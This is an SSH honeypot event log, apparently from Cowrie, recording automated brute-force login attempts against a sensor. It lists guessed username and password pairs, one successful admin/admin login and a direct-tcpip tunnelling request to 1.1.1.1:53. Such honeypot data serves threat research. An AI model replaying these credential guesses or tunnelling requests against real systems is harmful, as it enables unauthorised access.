{"eventid":"cowrie.session.connect","src_ip":"58.56.200.238","src_port":2432,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0ebac002c3c","protocol":"ssh","message":"New connection: 58.56.200.238:2432 (10.17.0.5:22) [session: d0ebac002c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:53.176703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:53.181069Z","src_ip":"58.56.200.238","session":"d0ebac002c3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":40578,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2132b3ea9be","protocol":"ssh","message":"New connection: 200.39.46.41:40578 (10.17.0.5:22) [session: c2132b3ea9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:57.376674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:57.381474Z","src_ip":"200.39.46.41","session":"c2132b3ea9be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:57.523185Z","src_ip":"200.39.46.41","session":"c2132b3ea9be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:58.117840Z","src_ip":"200.39.46.41","session":"c2132b3ea9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:52:59.262602Z","src_ip":"200.39.46.41","session":"c2132b3ea9be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":39250,"dst_ip":"10.17.0.5","dst_port":22,"session":"85d55047f06f","protocol":"ssh","message":"New connection: 69.48.205.231:39250 (10.17.0.5:22) [session: 85d55047f06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:05.139772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:05.144514Z","src_ip":"69.48.205.231","session":"85d55047f06f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:05.187872Z","src_ip":"69.48.205.231","session":"85d55047f06f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:05.384330Z","src_ip":"69.48.205.231","session":"85d55047f06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:06.429330Z","src_ip":"69.48.205.231","session":"85d55047f06f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":40204,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a62e1b51253","protocol":"ssh","message":"New connection: 45.137.172.116:40204 (10.17.0.5:22) [session: 8a62e1b51253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:15.640263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:15.644047Z","src_ip":"45.137.172.116","session":"8a62e1b51253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:15.740838Z","src_ip":"45.137.172.116","session":"8a62e1b51253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuck1234","message":"login attempt [root/fuck1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:16.164343Z","src_ip":"45.137.172.116","session":"8a62e1b51253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:17.264657Z","src_ip":"45.137.172.116","session":"8a62e1b51253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":55612,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aef2bea04bd","protocol":"ssh","message":"New connection: 202.51.214.99:55612 (10.17.0.5:22) [session: 9aef2bea04bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:19.696434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:19.704459Z","src_ip":"202.51.214.99","session":"9aef2bea04bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:19.943808Z","src_ip":"202.51.214.99","session":"9aef2bea04bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webadmin","message":"login attempt [root/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:20.931952Z","src_ip":"202.51.214.99","session":"9aef2bea04bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:53:22.173887Z","src_ip":"202.51.214.99","session":"9aef2bea04bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":56944,"dst_ip":"10.17.0.5","dst_port":22,"session":"8baa3b964da0","protocol":"ssh","message":"New connection: 103.118.29.129:56944 (10.17.0.5:22) [session: 8baa3b964da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:02.775200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:02.789207Z","src_ip":"103.118.29.129","session":"8baa3b964da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:03.034205Z","src_ip":"103.118.29.129","session":"8baa3b964da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"vpnuser","message":"login attempt [vpnuser/vpnuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:04.023575Z","src_ip":"103.118.29.129","session":"8baa3b964da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:05.265027Z","src_ip":"103.118.29.129","session":"8baa3b964da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.136","src_port":19714,"dst_ip":"10.17.0.5","dst_port":22,"session":"2585fdb2bc23","protocol":"ssh","message":"New connection: 69.5.169.136:19714 (10.17.0.5:22) [session: 2585fdb2bc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:14.931546Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:15.030311Z","src_ip":"69.5.169.136","session":"2585fdb2bc23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":55422,"dst_ip":"10.17.0.5","dst_port":22,"session":"88cefbdad32e","protocol":"ssh","message":"New connection: 69.48.205.231:55422 (10.17.0.5:22) [session: 88cefbdad32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:17.026628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:17.031622Z","src_ip":"69.48.205.231","session":"88cefbdad32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:17.073207Z","src_ip":"69.48.205.231","session":"88cefbdad32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":34108,"dst_ip":"10.17.0.5","dst_port":22,"session":"a113504f6929","protocol":"ssh","message":"New connection: 200.39.46.41:34108 (10.17.0.5:22) [session: a113504f6929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:17.130169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:17.135125Z","src_ip":"200.39.46.41","session":"a113504f6929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"counter","message":"login attempt [root/counter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:17.271826Z","src_ip":"69.48.205.231","session":"88cefbdad32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:17.280836Z","src_ip":"200.39.46.41","session":"a113504f6929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localuser","password":"localuser","message":"login attempt [localuser/localuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:17.894470Z","src_ip":"200.39.46.41","session":"a113504f6929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:18.315966Z","src_ip":"69.48.205.231","session":"88cefbdad32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:19.043326Z","src_ip":"200.39.46.41","session":"a113504f6929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26106,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc850ea4fb1a","protocol":"ssh","message":"New connection: 87.251.64.176:26106 (10.17.0.5:22) [session: bc850ea4fb1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:24.599817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:24.604527Z","src_ip":"87.251.64.176","session":"bc850ea4fb1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:24.701424Z","src_ip":"87.251.64.176","session":"bc850ea4fb1a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:24.991910Z","src_ip":"87.251.64.176","session":"bc850ea4fb1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:54:25.092829Z","session":"bc850ea4fb1a","protocol":"ssh"}
